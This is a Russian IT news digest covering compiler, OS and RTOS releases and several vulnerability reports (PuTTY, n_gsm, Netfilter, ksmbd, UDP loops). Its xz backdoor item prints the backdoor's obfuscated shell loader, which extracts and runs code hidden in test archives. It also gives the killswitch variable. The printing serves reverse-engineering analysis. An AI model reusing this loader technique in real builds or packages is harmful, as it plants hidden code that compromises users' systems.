- В бэкенде генерации кода для GPU AMD Radeon (GCN) реализована поддержка GPU AMD Radeon gfx90c (GCN5), gfx1030, gfx1036 (RDNA2), gfx1100 и gfx1103 (RDNA3). Повышена производительность для устройств AMD серий MI100 и MI200. По умолчанию активирована архитектура устройств gfx900 (Vega).
- В бэкенд для архитектуры x86 добавлена поддержка расширений архитектуры набора команд Intel AVX10.1, Intel APX (частично), Intel AVX-VNNI-INT16, Intel SHA512, Intel SM3, Intel SM4, Intel USER_MSR.
Добавлена поддержка CPU AMD на базе ядра Zen 5 (-march=znver5), а также процессоров Intel Clearwater Forest (-march=clearwaterforest), Arrow Lake (-march=arrowlake), Arrow Lake S (-march=arrowlake-s), Lunar Lake (-march=lunarlake) и Panther Lake (-march=pantherlake). Добавлена опция "-m[no-]evex512" для управления задействованием 512-битных векторов (по умолчанию включается при поддержке AVX512F. Объявлена устаревшей поддержка CPU Intel Xeon Phi.
- Расширены возможности бэкендов для платформ LoongArch, AVR и RISC-V.
- Расширены возможности вывода диагностики в формате SARIF, основанном на JSON. Формат SARIF можно использовать для получения результатов статического анализа (GCC -fanalyzer), а также для получения сведений о предупреждениях и ошибках.
- Переведена в разряд устаревших и будет удалена в следующем релизе GCC поддержка целевых архитектур ia64 и nios2, применяемых в процессорах Intel Itanium и Nios II.
После года разработки опубликован релиз свободного набора компиляторов GCC 14.1, первый значительный выпуск в новой ветке GCC 14.x. В соответствии с новой схемой нумерации выпусков, версия 14.0 использовалась в процессе разработки, а незадолго до выхода GCC 14.1 уже ответвилась ветка GCC 15.0, на базе которой будет сформирован следующий значительный релиз GCC 15.1.
Спустя 10 лет с момента открытия кода MS-DOS 1.25 и 2.0 компания Microsoft объявила об открытии исходных текстов операционной системы MS-DOS 4.0, изначально выпущенной в 1988 году и разработанной совместно с IBM. Код открыт под лицензией MIT, которая позволяет свободно вносить изменения, распространять и использовать в своих продуктах. Кроме кода, в открытом доступе размещена документация и дисковые образы.
Продукт написан на ассемблере для процессоров 8086. Для запуска могут использоваться эмуляторы PCem и 86box. Выпуск MS-DOS 4.0 примечателен возможностью использования графического интерфейса и мыши, поддержкой дисковых разделов больше 32 МБ (до 2 ГБ), добавлением файлового менеджера DOSSHELL, поддержкой EMS (Expanded Memory Specification), командами FASTOPEN и FASTSEEK.
Спустя 10 лет с момента открытия кода MS-DOS 1.25 и 2.0 компания Microsoft объявила об открытии исходных текстов операционной системы MS-DOS 4.0, изначально выпущенной в 1988 году и разработанной совместно с IBM. Код открыт под лицензией MIT, которая позволяет свободно вносить изменения, распространять и использовать в своих продуктах. Кроме кода, в открытом доступе
После года разработки доступен выпуск RT-Thread 5.1, операционной системы реального времени (RTOS) для устройств интернета-вещей. Система развивается с 2006 года сообществом китайских разработчиков и в настоящее время портирована для 154 плат, чипов и микроконтроллеров на базе архитектур x86, ARM, MIPS, С-SKY, Xtensa, ARC и RISC-V. Минималистичная сборка RT-Thread (Nano) требует для работы всего 3 КБ Flash и 1.2 КБ ОЗУ. Для IoT-устройств, сильно не ограниченных в ресурсах, предлагается полнофункциональная версия, поддерживающая управление пакетами, конфигураторы, сетевой стек, пакеты с реализацией графического интерфейса, системы голосового управления, СУБД, сетевых сервисов и движков для выполнения скриптов. Код написан на языке Си и распространяется под лицензией Apache 2.0.
Операционную систему образуют три базовых слоя:
- Ядро, обеспечивающее выполнение задач в режиме реального времени. Ядро предоставляет универсальные базовые примитивы, охватывающие такие области, как управление блокировками и синхронизацией данных, планирование задач, управление потоками, обработка сигналов, очереди сообщений, управление таймером, управление памятью. Специфичные для аппаратного обеспечения особенности реализованы на уровне libcpu и BSP, которые включают необходимые драйверы и код для поддержки CPU.
- Компоненты и сервисы, работающие поверх ядра и предлагающие такие абстракции как виртуальная файловая система, система обработки исключений, хранилище в формате ключ/значение, интерфейс командной строки FinSH, сетевой стек (LwIP) и сетевые фреймворки, библиотеки для поддержки устройств, звуковая подсистема, беспроводной стек, компоненты для поддержки Wi-Fi, LoRa, Bluetooth, 2G/4G. Модульная архитектура позволяет подключать компоненты и сервисы в зависимости от своих задач и имеющихся аппаратных ресурсов.
- Пакеты программ. Программные компоненты общего назначения и библиотеки функций распространяются и устанавливаются в форме пакетов. В настоящее время репозиторий включает более 450 пакетов, предлагающих от графических интерфейсов, мультимедийных приложений и сетевых приложений до систем управления роботами и обработчиков на базе машинного обучения. В пакетах также поставляются движки для организации выполнения программ на языках Lua, JerryScript, MicroPython, PikaScript и Rust (rtt_rust).
- Расширяемая модульная архитектура, позволяющая сформировать окружение, подходящее для систем с ограниченными ресурсами (минимальные требования - 3 КБ Flash и 1.2 КБ ОЗУ).
- Поддержка различных стандартных интерфейсов для разработки программ, таких как POSIX, CMSIS, C++ API. Отдельно развивается прослойка RTduino для совместимости с API и библиотеками проекта Arduino.
- Возможность расширения через систему пакетов и подключаемых компонентов.
- Поддержка разработки приложения для высокопроизводительной обработки информации.
- Гибкая система управления питанием, позволяющая автоматически переводить устройство в режим сна и динамически управлять напряжением и частотой в зависимости от нагрузки.
- Поддержка аппаратных средств для шифрования и расшифровки, предоставление библиотек с различными криптографическими алгоритмами.
- Унифицированный интерфейс для доступа к периферийным устройствам и дополнительному оборудованию.
- Виртуальная ФС и наличие драйверов для таких ФС, как FAT, UFFS, NFSv3, ROMFS и RAMFS.
- Стек протоколов для TCP/IP, Ethernet, Wi-Fi, Bluetooth, NB-IoT, 2G/3G/4G, HTTP, MQTT, LwM2M и т.п.
- Система удалённой доставки и установки обновлений, поддерживающая шифрование и верификацию по цифровой подписи, возобновление прерванной установки, восстановление после сбоя, откат изменений и т.п.
- Система динамически загружаемых модулей ядра, позволяющая отдельно собирать и разрабатывать компоненты ядра, и динамически загружать их при появлении необходимости.
- Поддержка различных сторонних пакетов, например, Yaffs2, SQLite, FreeModbus, Canopen и т.п.
- Возможность прямой компиляции BSP-пакета (Board Support Package) с компонентами для поддержки определённой аппаратной платформы, и его загрузки на плату.
- Наличие эмулятора (BSP qemu-vexpress-a9), позволяющего разрабатывать приложения без использования реальных плат.
- Поддержка типовых компиляторов и инструментов для разработки, таких как GCC, MDK Keil и IAR.
- Развитие собственной интегрированной среды разработки RT-Thread Studio IDE, позволяющей создавать и отлаживать приложения, загружать их на платы, управлять настройками. Плагины для разработки программ для RT-Thread также доступны для Eclipse и VS Code.
- Наличие консольного интерфейса Env, упрощающего создание проектов и настройку окружения.
Среди изменений в новом выпуске:
- В RT-Smart, гибридной операционной системе на базе RT-Thread, отделяющей приложения от ядра, включена по умолчанию поддержка механизмов epoll, eventfd, signalfd, timerfd и select. Реализована подсистема эмулятора терминала. Добавлена поддержка устройств DFZU2EG MPSoC и cv181x-riscv.
- В RTduino, слой для обеспечения совместимости с экосистемой Arduino, добавлена поддержка плат raspberry-pico, stm32h503-st-nucleo, stm32h563-st-nucleo, stm32f412-nucleo, stm32f407-rt-spark.
- Обновлены сторонние компоненты, такие как ssh, sftp, weston и vim.
- Добавлена поддержка новых плат и чипов, таких как HPMicro RISC-V, STM32 Nucleo, Adafruit Metro M4, Seeed Wio-Terminal, ST (stm32L431_tencentos, stm32h7s7-disco, stm32f407-lckfb-skystar, stm32h503-st-nucleo), Renesas (ek-ra8m1, ek-ra8d1, ra8d1-vision-board), AT32 (at32f402-start, at32f405-start), HT32 (ht32f52352, ht32f12366, AVR32 at32uc3a0256, at32uc3b0256), CVITEK (c906_little, cv18xx_risc-v), WCH (yd-ch32v307vct6), HC32 (ev_hc32f4a0_lqfp176, ev_hc32f460_lqfp100_v2), (ev_hc32f448_lqfp80, GD32 gd32407v-lckfb), NXP (frdm-mcxn947, frdm-mcxa153).
- Оптимизирована работа планировщиков задач и CPU. Добавлена прослойка для абстрагирования планировщика rt_sched.
- Проведена оптимизация работы на многоядерных системах.
- Предоставлена возможность подключения обработчиков к операциям выделения памяти malloc.
- Для архитектур ARM64 и RV64 реализована поддержка обратной трассировки (backtrace) ядра.
- Продолжен переход на новую модель драйверов устройств.
- В virtio-драйверах qemu-virt64-aarch64 и qemu-virt64-riscv добавлена поддержка SDL2.
- Добавлен фреймворк для разработки драйверов clk.
- В DFS добавлена конфигурация exfat. Ядро по умолчанию переведено на использование ФС dfsv2.
- Улучшена поддержка TTY-терминалов.
- В системе ввода/вывода добавлена поддержка флагов O_DIRECT и O_SYNC.
- В реализации легковесных процессов lwP (Lightweight Process) функция wp_new заменена на lwp_create. Добавлена функция sys_setitimer.
- В менеджер памяти MM добавлена поддержка резервирования памяти и реализована функция rt_aspace_mremap_range.
- В Libcpu добавлена поддержка процессоров ARM Cortex-M85 и Cortex-R52
После года разработки доступен выпуск RT-Thread 5.1, операционной системы реального времени (RTOS) для устройств интернета-вещей. Система развивается с 2006 года сообществом китайских разработчиков и в настоящее время портирована для 154 плат, чипов и микроконтроллеров
Бенджамин Саммертон (Benjamin Summerton), автор системы трассировки лучей PSRayTracing, проанализировал влияние на производительность приложений использование в коде на языке С++ ключевого слова "final", появившегося в стандарте C++11. Причиной проведения тестирования послужили витающие в сети заявления, что использование "final" позволяет повысить производительность, которые ограничивались оценочными суждениями без указания результатов изменений.
Проведённое Бенджамином тестирование показало, что производительность при использовании "final" сильно зависит от компилятора. При сборке в GCC действительно в заметном числе случаев производительность возрастала, но при сборке в Clang и MSVC производительность в большинстве случаев снижалась, причём более ощутимо. При этом большое влияние, кроме компилятора, имела платформа, например, проседание производительности больше проявлялись на системе с CPU AMD Ryzen 9 6900HX, чем на системе с CPU Apple M1.
Например, на системе AMD Ryzen 9 6900HX с Ubuntu 23.10 при сборке в Clang в 90% тестов при использовании "final" наблюдалось замедление работы как минимум на 5%, но в 2.5% случаев фиксировалось ускорение как минимум на 5%. Для GCC замедление на 5% фиксировалось в 0.9% случаев, а ускорение на 5% - в 15.8% случаев. В MSVC 5% замедление наблюдалось в 26.2% тестов, а 5% ускорение - 13.3%. Для себя автор исследования сделал вывод о необходимости избегать использование "final".
Бенджамин Саммертон (Benjamin Summerton), автор системы трассировки лучей PSRayTracing, проанализировал влияние на производительность приложений использование в коде на языке С++ ключевого слова "final", появившегося в стандарте C++11. Причиной проведения тестирования послужили витающие в сети заявления, что использование "final" позволяет повысить производительность, которые ограничивались оценочными суждениями без указания...
Линус Торвальдс отказался принимать в ядро изменение, заменяющее символ табуляции на пробел в разделителе параметра FTRACE_RECORD_RECURSION_SIZE в конфигурации ядра Kconfig. Изменение было предложено разработчиком проекта Fedora с примечанием, что использование табуляций приводит к сбою в работе парсера конфигурации. Вместо предложенного изменения Линус включил в ядро свой патч, специально добавляющий символы табуляции в определение настройки PAGE_SHIFT, задающей смещение для различных размеров страниц памяти.
Добавление табуляций в настройки, более значительные, чем FTRACE_RECORD_RECURSION_SIZE, объясняется тем, что в файле с настройками ядра допускается использование как пробелов, так и табуляций, поэтому если парсер не может нормально разобрать строку с табуляцией - это проблема парсера, которая должна быть устранена в нём. Команда "make defconfig" корректно принимает табуляции, поэтому и внешние парсеры тоже должны их обрабатывать.
Присутствие в поставляемом в ядре Kconfig не только пробелов, но и табуляций, позволит выявлять проблемные парсеры и стимулировать их исправление. Идея подгонять ядро под сбойные парсеры воспринимается как ущербная, так как даже если в эталонном Kconfig всегда будут только пробелы, обычный пользователь волен использовать табуляции в настройках на своих системах и подобное использование может привести к сбоям в неисправленных сторонних парсерах.
Линус Торвальдс отказался принимать в ядро изменение, заменяющее символ табуляции на пробел в разделителе параметра FTRACE_RECORD_RECURSION_SIZE в конфигурации ядра Kconfig. Изменение было предложено разработчиком проекта Fedora с примечанием, что использование табуляций приводит к сбою в работе парсера конфигурации. Вместо предложенного изменения Линус включил в ядро свой
В PuTTY, клиенте для протокола SSH, пользующегося популярностью на платформе Windows, выявлена опасная уязвимость (CVE-2024-31497), позволяющая воссоздать закрытый ключ пользователя, сгенерированный с использованием алгоритма ECDSA с эллиптической кривой NIST P-521 (ecdsa-sha2-nistp521). Для подбора закрытого ключа достаточно проанализировать примерно 60 цифровых подписей, сформированных проблемным ключом.
Уязвимость проявляется начиная с версии PuTTY 0.68 и также затронула продукты, в состав которых включены уязвимые версии PuTTY, например, FileZilla (3.24.1 - 3.66.5), WinSCP (5.9.5 - 6.3.2), TortoiseGit (2.4.0.2 - 2.15.0) и TortoiseSVN (1.10.0 - 1.14.6). Проблема устранена в обновлениях PuTTY 0.81, FileZilla 3.67.0, WinSCP 6.3.3 и TortoiseGit 2.15.0.1. После установки обновления пользователям рекомендуется сгенерировать новые ключи и удалить старые открытые ключи из файлов authorized_keys.
Уязвимость вызвана беспечностью разработчиков, которые для генерации 521-битного ключа использовали вектор инициализации (nonce) на основе 512-битной случайной последовательности, вероятно, посчитав что энтропии в 512 бит будет достаточно и оставшиеся 9 бит не имеют принципиального значения. В итоге, во всех закрытых ключах, созданных в PuTTY с использованием алгоритма ecdsa-sha2-nistp521, первые 9 бит вектора инициализации всегда принимали нулевые значения.
Для ECDSA и DSA качество генератора псевдослучайных чисел и полное покрытие случайными данными параметра, используемого при вычислении модуля, имеет принципиальное значение, так как определение даже нескольких битов с информацией о векторе инициализации достаточно для совершения атаки по последовательному восстановлению всего закрытого ключа. Для успешного восстановления ключа достаточно наличия открытого ключа и анализа нескольких десятков цифровых подписей, сгенерированных с использованием проблемного ключа для известных атакующему данных. Атака сводится к решению задачи HNP (Hidden Number Problem).
Необходимые цифровые подписи можно получить, например, при подключении пользователя к SSH-серверу атакующего или к Git-серверу, использующему SSH в качестве транспорта. Необходимые для атаки подписи также можно узнать, если ключ использовался для заверения произвольных данных, например, git-коммитов при применении SSH-агента Pageant для перенаправления трафика на хост разработчика. Получение необходимых для восстановления ключа данных в ходе MITM-атаки исключено, так как подписи в SSH не передаются в открытом виде.
Отмечается, что похожее использование неполных векторов инициализации применялось в PuTTY и для других видов эллиптических кривых, но для алгоритмов, отличных от ECDSA P-521, возникших утечек информации недостаточно для реализации работающей атаки по восстановлению ключа. Ключи ECDSA другого размера и ключи Ed25519 атаке не подвержены.
В PuTTY, клиенте для протокола SSH, пользующегося популярностью на платформе Windows, выявлена опасная уязвимость (CVE-2024-31497), позволяющая воссоздать закрытый ключ пользователя, сгенерированный с использованием алгоритма ECDSA с эллиптической кривой
В открытом доступе обнаруженыдваэксплоита, в которых задействована ранее неизвестная уязвимость в драйвере n_gsm, входящем в состав ядра Linux. Уязвимость позволяет непривилегированному локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. CVE-идентификатор не присвоен. Проблема пока остаётся неисправленной.
Драйвер n_gsm предоставляет реализацию протокола GSM 07.10, используемого в GSM-модемах для мультиплексирования соединений к последовательному порту. Уязвимость вызвана состоянием гонки в обработчике ioctl GSMIOC_SETCONF_DLCI, используемом для обновления конфигурации DLCI (Data Link Connection Identifier). Через манипуляции с ioctl можно добиться обращения к памяти после её освобождения (use-after-free).
Эксплоит может использоваться на системах с ядрами Linux, начиная с 5.15 и заканчивая 6.5. Например, успешное получение root-доступа продемонстрировано в Fedora, Ubuntu 22.04 с ядром 6.5 и в Debian 12 с ядром 6.1. Начиная с ядра 6.6 для эксплуатации требуются права доступа CAP_NET_ADMIN. В качестве обходного пути блокирования уязвимости можно запретить автоматическую загрузку модуля ядра n_gsm, добавив в файл /etc/modprobe.d/blacklist.conf строку "blacklist n_gsm".
Примечательно, что в январе была раскрыта информация о другой уязвимости (CVE-2023-6546) в драйвере n_gsm, для которой также публично доступен эксплоит. Данная уязвимость не пересекается с первой проблемой, хотя также вызвана обращением к памяти после освобождения при работе со структурой gsm_dlci, но в обработчике ioctl GSMIOC_SETCONF. Проблема исправлена в августе прошлого года (исправление вошло в состав ядра 6.5).
В открытом доступе обнаруженыдваэксплоита, в которых задействована ранее неизвестная уязвимость в драйвере n_gsm, входящем в состав ядра Linux. Уязвимость позволяет непривилегированному локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. CVE-идентификатор не присвоен. Проблема пока остаётся неисправленной.
Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.
В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекаются из параметра "N", переданного в функцию RSA_public_decrypt (поле "n" из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяются по контрольной сумме и расшифровываются при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.
В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ лица, сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.
Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.
Исследователи также заметили наличие конструкции, обезвреживающей бэкдор (killswitch) на локальной системе при наличии выставленной перед запуском sshd переменой окружения "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".
Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки в библиотеку liblzma. Во время сборки пакета xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.
Полученный shell-скрипт по кусочкам извлекал из содержимого архива good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.
####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
В результате формировался достаточно сложный и объёмный shell-скрипт, извлекающий непосредственно файл с бэкдором из архива good-large_compressed.lzma, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация механизма плагинов, позволяющая впоследствии поставлять дополнительные исполняемые компоненты через размещение новых тестовых архивов, не меняя good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а используя поиск по сигнатуре. В коде также был задействован дешифровщик на базе алгоритма RC4, реализованный на языке AWK:
Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.
Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded, и был включён в число мэйнтейнеров проекта XZ Embedded, используемого в ядре Linux.
В организации продвижения бэкдора также замечены ещё два участника - Jigar Kumar и Hans Jansen, которые, судя по всему, являются виртуальными персонажами. Jigar Kumar в апреле 2022 года способствовал принятию в xz ранних патчей Jia Tan c реализацией поддержки строковых фильтров и оказывал моральное давление на Lasse Collin, тогдашнего сопровождающего, критикуя, что он не способен выполнять свои обязанности и не принимает полезные патчи. В июне Lasse Collin согласился, что проекту нужен новый сопровождающий, посетовал на выгорание и проблемы с психическим здоровьем, и передал право мэйнтейнера Jia Tan. После этого пользователь Jigar Kumar больше не появлялся в рассылке.
Получив права мэйнтейнера Jia Tan стал активно добавлять изменения в проект и по статистике за два года занял второе место среди разработчиков по числу изменений. В марте 2023 года ответственный за тестирование пакета xz в сервисе oss-fuzz был заменён с Lasse Collin на Jia Tan, а в июне в состав xz были приняты изменения, добавляющие в liblzma поддержку механизма IFUNC (конструктор crc64_fast был заменён на ifunc), который позднее был задействован для организации перехвата функций в бэкдоре. Изменение предложил Hans Jansen, а Jia Tan принял его в состав xz. Учётная запись Hans Jansen была создана непосредственно перед отправкой pull-запроса.
В июле 2023 года Jia Tan отправил разработчикам oss-fuzz запрос на отключение проверки ifunc из-за его несовместимости с режимом "-fsanitize=address". В начале февраля 2024 года ссылка на сайт проекта в oss-fuzz и на главной странице tukaani.org была изменена с "tukaani.org/xz/" на "xz.tukaani.org", где поддомен "xz.tukaani.org" размещался в сервисе GitHub Pages и контролировался лично Jia Tan. 23 февраля в репозитории xz были размещены архивы для тестирования работы декодировщика, среди которых были файлы bad-3-corrupt_lzma2.xz и good-large_compressed.lzma со скрытым бэкдором.
17 марта Hans Jansen, разработавший ранее патчи с поддержкой IFUNC, был зарегистрирован в качестве участника проекта Debian, а 25 марта им был отправлен запрос на обновление версии пакета xz-utils в репозитории Debian. Запросы на обновление версии также поступили разработчикам Fedora и Ubuntu (в Ubuntu репозиторий был на стадии заморозки и изменение было отклонено).
К просьбам обновить версию xz также присоединились некоторые пользователи, заявлявшие, что в новой версии устранены мешающие работе сбои, выявляемые при отладке в valgrind (проблемы возникали из-за некорректного определения раскладки стека в обработчике бэкдора и эти проблемы разработчики бэкдора постарались устранить в версии xz 5.6.1). Сбоем также заинтересовался Andres Freund, сотрудник Microsoft, участвующий в разработке PostgreSQL, который выявил наличие бэкдора и оповестил об этом сообщество.
Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и
В Netfilter, подсистеме ядра Linux, используемой для фильтрации и модификации сетевых пакетов, выявлена уязвимость (CVE-2024-1086), позволяющая локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. Проблема вызвана двойным освобождением памяти (double-free) в модуле nf_tables, обеспечивающем работу пакетного фильтра nftables. Выявивший уязвимость исследователь безопасности разработал и опубликовал рабочий прототип эксплоита.
Работа эксплоита продемонстрирована в актуальных выпусках Debian и Ubuntu с ядрами Linux 5.14 - 6.6, а также в окружении с ядром KernelCTF (Capture the Flag), включающем дополнительные патчи для блокирования типовых методов работы эксплоитов и используемом компанией Google в программе выплаты вознаграждений за поиск уязвимостей. Степень успешности работы эксплоита оценивается в 99.4%. В сопроводительной статье детально разобран процесс создания сложного многоуровневого эксплоита и обход присутствующих в ядре механизмов защиты и противодействия работе эксплоитов.
Проблема связана с ошибкой в функции nft_verdict_init(), которая допускает использования положительных значений в качестве кода ошибки отбрасывания пакетов (DROP) в hook-ах, что может быть использовано для вызова в функции nf_hook_slow() повторной операции освобождения памяти для буфера, для которого уже была вызвана функция free(). Проблема возникает, когда операция NF_DROP формируется с ошибкой и ядро вначале интерпретирует NF_DROP, но затем освобождает буфер и возвращает статус NF_ACCEPT. Данная ситуация приводит к тому, что несмотря на освобождение связанного с пакетом буфера, его обработка не прекращается, а передаётся в другой обработчик, который в свою очередь второй раз вызывает функцию освобождения памяти.
Уязвимость проявляется начиная с версии ядра Linux 3.15, но эксплоит работает с ядрами начиная с версии 5.14. Исправление уязвимости предложено в выпуске ядра Linux 6.8-rc1 и в конце февраля перенесено в стабильные ветки 5.15.149, 6.1.76 и 6.6.15. В дистрибутивах проследить за исправлением уязвимости можно на страницах: Debian, Ubuntu, Gentoo, RHEL, SUSE, Fedora, Arch.
Дополнительно можно отметить серию уязвимостей в модуле ksmbd, предлагающем встроенную в ядро Linux реализацию файлового сервера на базе протокола SMB: УязвимостьCVE-2024-26592 позволяет удалённо без прохождения аутентификации добиться выполнения своего кода с правами ядра на системах с активированным модулем ksmbd. Проблема вызвана состоянием гонки в коде обработки TCP-соединения, которое возникает из-за отсутствия выставления должных блокировок при работе с объектом.
УязвимостьCVE-2023-52440 также позволяет удалённо добиться выполнения своего кода с правами ядра, но вызвана переполнением буфера при обработке некорректных сессионных ключей из-за отсутствия должной проверки размера данных, полученных от пользователя, перед их копированием в буфер фиксированного размера.
Уязвимости (1, 2, 3) CVE-2024-26594, CVE-2023-52442 и CVE-2023-52441 в ksmbd дают возможность удалённо без прохождения аутентификации определить содержимое памяти ядра. Уязвимость CVE-2024-26594 вызвана некорректной проверкой данных при обработке поступивших токенов SMB2 Mech, что приводит к возвращению данных из области за границей буфера. Уязвимость CVE-2023-52442 вызвана отсутствием должной проверки входных данных при обработке связанных в цепочку (chained) запросов. Уязвимость CVE-2023-52441 вызвана отсутствием необходимой проверки входных данных при обработке запросов согласования соединения SMB2.
Уязвимости CVE-2024-26594 и CVE-2024-26592 устранены в ядре 6.8 и корректирующих обновлениях прошлых стабильных веток 6.1.75, 6.6.14, 6.7.2. Остальные уязвимости устранены в ядре 6.5 и обновлениях 5.15.145, 6.1.53, 6.4.16.
В заключение можно упомянуть активацию работы новой команды разработчиков ядра Linux, созданной для анализа наличия уязвимостей и оценки связи вносимых в ядре исправлений с проблемами безопасности. В феврале разработчиками ядра была создана собственная служба CNA (CVE Numbering Authority), которая получила полномочия самостоятельного присвоения CVE-идентификаторов уязвимостям. До этого присвоение CVE и анализ связи исправлений с возможными уязвимостями ложился на плечи разработчиков дистрибутивов, а в ядре потенциальные уязвимости не оставались выделены и фигурировали наравне с обычными исправлениями. Результаты работы новой службы превзошли все ожидания - ежедневно в ядре помечается до нескольких десятков новых уязвимостей, которые ранее не были помечены как проблемы с безопасностью. Например, 26 марта новые CVE-идентификаторы присвоены 14 уязвимостям, которые ранее не рассматривались как проблемы с безопасностью, а 25 марта - 41 уязвимости.
В Netfilter, подсистеме ядра Linux, используемой для фильтрации и модификации сетевых пакетов, выявлена уязвимость (CVE-2024-1086), позволяющая локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. Проблема вызвана двойным освобождением памяти (double-free) в модуле nf_tables, обеспечивающем работу пакетного фильтра nftables. Выявивший уязвимость исследователь безопасности разработал и
Координационный центр CERT (компьютерная группа реагирования на чрезвычайные ситуации), опубликовал предупреждение о серии уязвимостей в реализациях различных прикладных протоколов, использующих в качестве транспорта протокол UDP. Уязвимости могут использоваться для организации отказа в обслуживании из-за возможности зацикливания обмена пакетами между двумя хостами. Например, атакующие могут добиться исчерпания доступной пропускной способности сети, блокирования работы сетевых сервисов (например, через создание высокой нагрузки и превышение ограничения интенсивности запросов) и реализации усилителей трафика для DDoS-атак.
Из протоколов, некоторые реализации которых подвержены уязвимости, упоминаются DNS, NTP, TFTP, Echo (RFC862), Chargen (RFC864) и QOTD (RFC865). Наличие уязвимости (CVE-2024-2169) подтверждено в отдельных продуктах компаний Cisco, Microsoft, Broadcom, Brother, Honeywell (CVE-2024-1309) и MikroTik. В качестве обходных мер для блокирования уязвимостей рекомендуется включить на межсетевом экране блокировку спуфинга (uRPF), ограничить доступ к лишним UDP-сервисам и настроить ограничение интенсивности трафика (rate-limit и QoS).
Уязвимости обусловлены незащищённостью протокола UDP от спуфинга адресов - при отсутствии на транзитных маршрутизаторах защиты от спуфинга атакующий может указать в UDP-пакете IP-адрес произвольного сервера и отправить этот пакет на другой сервер, который вернёт ответ на указанный поддельный адрес. Метод атаки сводится к созданию ситуации с зацикливанием обмена пакетами между серверами, использующими уязвимые реализации протокола. Например, в ответ на поступивший пакет целевой сервер может отправить ответ с кодом ошибки, а сервер, адрес которого подставил атакующий, вернёт свой ответ, который, в свою очередь опять приведёт к возврату пакета с кодом ошибки. Таким образом, серверы до бесконечности начнут играть между собой пакетами в "пинг-понг".
Примечательно, что подобный метод атаки не нов и в сервере синхронизации времени ntpd один из вариантов атаки был устранён ещё в 2009 году (CVE-2009-3563) в версиях 4.2.4p8 и 4.2.5. Атака сводилась к отправке NTP-пакета с подставным адресом и выставленным флагом MODE_PRIVATE, при обработке которого целевой сервер возвращал ответ о невозможности использования приватного режима, оставляя в ответе выставленным флаг MODE_PRIVATE. Соответственно другой сервер также не мог обработать данный флаг и возвращал свой ответ, что приводило к зацикливанию обмена пакетами между двумя NTP-серверами. Для протокола DNS предупреждение о возможности совершения подобной атаки опубликовано ещё в 1996 году.
